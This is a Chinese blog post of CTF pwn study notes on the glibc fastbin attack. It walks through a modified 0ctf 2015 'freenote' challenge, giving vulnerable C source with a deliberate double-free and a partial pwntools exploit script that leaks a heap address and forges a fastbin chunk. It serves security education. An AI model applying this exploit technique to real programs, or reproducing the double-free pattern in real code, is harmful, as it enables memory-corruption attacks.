长亭PWN笔记04

Fastbin attack

  • Fast bin利用技术
    • Fast bin为单向链表,结构简单,容易伪造
    • 为了提高效率,安全检查比较少
    • 只针对Fast bin大小的chunk,small/large chunk不适用
  • 利用思路
    • 空闲Fast chunk如果发生溢出被覆盖,则链表指针fd可以被修改
    • 可以通过修改链表指针fd,在Fast bin链表中引入伪造的空闲Fast chunk
    • 下次分配时分配出伪造的Fast chunk
    • 伪造的Fast Chunk可以在.bss全局变量处,也可以在栈上

伪造Fast chunk

  • 在栈上伪造Fast Chunk
    • 覆盖返回地址
  • 在bss上伪造Fast Chunk
    • 修改全局变量
  • 在堆上伪造Fast Chunk
    • 修改堆上的数据

案例分析:freenote(0ctf 2015)修改版

仓库地址:https://github.com/f1yyy/example_for_class

int menu()
{
    
    
    puts("== Chaitin Free Note ==");
    puts("1. List Note");
    puts("2. New Note");
    puts("3. Edit Note");
    puts("4. Delete Note");
    puts("5. Exit");
    puts("====================");
    printf("Your choice: ");
    return read_number();
}

一共有四种操作:

  • new note
    • malloc
  • edit note
    • realloc
  • delete note
    • 未检查note是否可释放,可以触发double free
  • list note
    • 打印

note结构

#define NOTENUM 256
struct note
{
    
    
    long inuse;
    long size;
    char *content;
};

struct note_list
{
    
    
    long total;
    long inuse;
    struct note notes[0];
};

struct note_list *list;
void init_env(){
    
    
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	alarm(0x3C);
}
void init_notes()
{
    
    
    list = (struct note_list*)malloc(16 + NOTENUM * sizeof(struct note));
    list->total = NOTENUM;
    list->inuse = 0;
    for (int i = 0; i < NOTENUM; ++i)
    {
    
    
        list->notes[i].inuse = 0;
        list->notes[i].size = 0;
        list->notes[i].content = NULL;
    }
}
  • note_list结构存储了note最大数、inuse note数量,长度为256的notes数组
  • note结构存储了inuse标志,note内存大小和指针
  • 初始化时,分配了NOTENUM(256)个note

创建note - new_note()

void new_note()
{
    
    
    if (list->inuse >= list->total)
    {
    
    
        puts("Unable to create new note.");
        return;
    }
    for (int i = 0; i < list->total; ++i)
        if (list->notes[i].inuse == 0)
        {
    
    
            printf("Length of new note: ");
            int len = read_number();
            if (len <= 0)
            {
    
    
                puts("Invalid length!");
                return;
            }
            if (len > 4096) len = 4096;
            char *content = (char*)malloc(len);
            printf("Enter your note: ");
            read_len(content, len);
            list->notes[i].inuse = 1;
            list->notes[i].size = len;
            list->notes[i].content = content;
            list->inuse++;
            puts("Done.");
            return;
        }
}

创建note时先读入note内容长度(不能超过4096),然后在通过malloc在堆上分配相同大小内存。读入内存后,将指针和大小保存在notes数组当中空闲的(inuse为0)note结构中(从0到255开始搜索)

通过此功能可以任意创建fast/small/large chunk

修改note - edit_note()

void edit_note()
{
    
    
    printf("Note number: ");
    int n = read_number();
    if (n < 0 || n >= list->total || list->notes[n].inuse != 1)
    {
    
    
        puts("Invalid number!");
        return;
    }
    printf("Length of note: ");
    int len = read_number();
    if (len <= 0)
    {
    
    
        puts("Invalid length!");
        return;
    }
    if (len > 4096) len = 4096;
    if (len != list->notes[n].size)
    {
    
    
        //int bsize = len + (128 - (len % 128)) % 128;
        list->notes[n].content = (char*)realloc(list->notes[n].content, len);
        list->notes[n].size = len;
    }
    printf("Enter your note: ");
    read_len(list->notes[n].content, len);
    puts("Done.");
}

修改note时,需要指定note编号,并指定新note大小,如果大小发生变化,则调用realloc重新分配内存

删除note - delete_note()

void delete_note()
{
    
    
    if (list->inuse > 0)
    {
    
    
        printf("Note number: ");
        int n = read_number();
        if (n < 0 || n >= list->total)
        {
    
    
            puts("Invalid number!");
            return;
        }
        list->inuse--;
        list->notes[n].inuse = 0;
        list->notes[n].size = 0;
        free(list->notes[n].content);
        puts("Done.");
    }
    else
    {
    
    
        puts("No notes yet.");
    }
}

删除note时,只需要指定note序号,然而再删除note时,并没有检查对应的note[n]的inuse标志是否为1,而且删除note后并未清空note结构中的内容指针,因此可以对任意空闲的note做多次free

此处存在double free漏洞

打印note列表 - list_note()

void list_note()
{
    
    
    if (list->inuse > 0)
    {
    
    
        for (int i = 0; i < list->total; ++i)
            if (list->notes[i].inuse == 1)
            {
    
    
                printf("%d. %s\n", i, list->notes[i].content);
            }
    }
    else
    {
    
    
        puts("You need to create some new notes first.");
    }
}

打印note功能可以列出所有note的内容

方法一:在堆上伪造fastchunk

add_note('A'*0x30)#0
add_note('B'*0x30)#1
add_note('C'*0x30)#2
add_note('D'*0x30)#3
add_note('E'*0x41)#3
raw_input("step1 success")
delete_note(0)
delete_note(1)
add_note('E'*0x30)#0
raw_input("step2 success")
delete_note(2)
delete_note(1)
list_note()
raw_input("step3 success")
s.recvuntil('0. ')
heap = u64(s.recv(4)+'\x00'*4) - 0x18a0
print 'heap:',hex(heap)

edit_note(0,p64(heap+0x80)+'F'*0x28)
add_note('G'*0x30)
add_note('H'*0x30)
raw_input("step4 success")
#add_note('E'*0x10)
s.interactive()

在分配完内存后:

  • 0x1812010开始即是note_list结构体
    • long total = 0x100
    • long inuse = 5
      • 因为申请了5个note
  • 0x1812020即是第一个note结构体
    • long inuse = 1
      • 正在使用
    • long size = 0x30
    • char *content = 0x1813830
  • 0x183820是真正的chunk起始地址,因为0x183830指向的是men部分,减去0x10偏移

当执行到raw_input("step3 success")

  • 可以发现因为删掉了两个note,又申请了一个新的note,故总数变为0
  • 可以发现重新申请的E note分配到了原来的第一个note的chunk,

猜你喜欢

转载自blog.csdn.net/kelxLZ/article/details/111830702
pwn